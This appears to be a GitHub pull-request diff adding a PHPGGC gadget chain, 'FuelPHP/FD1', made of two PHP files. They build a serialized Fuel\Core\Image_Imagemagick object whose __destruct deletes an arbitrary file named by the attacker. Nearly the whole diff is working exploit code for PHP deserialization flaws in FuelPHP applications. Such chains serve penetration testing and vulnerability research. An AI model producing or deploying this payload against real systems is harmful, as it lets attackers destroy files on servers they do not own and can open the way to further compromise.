Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
17 changes: 17 additions & 0 deletions gadgetchains/FuelPHP/FD/1/chain.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,17 @@
<?php

namespace GadgetChain\FuelPHP;

class FD1 extends \PHPGGC\GadgetChain\FileDelete
{
public static $version = '*'; // tested on 1.9-dev
public static $vector = '__destruct';
public static $author = 'reverseth';

public function generate(array $parameters)
{
$file = $parameters['remote_path'];
return new \Fuel\Core\Image_Imagemagick($file);

}
}
15 changes: 15 additions & 0 deletions gadgetchains/FuelPHP/FD/1/gadgets.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,15 @@
<?php

namespace Fuel\Core
{
class Image_Imagemagick
{
public $image_temp;

public function __construct($file)
{
$this->image_temp = $file;
}
}
}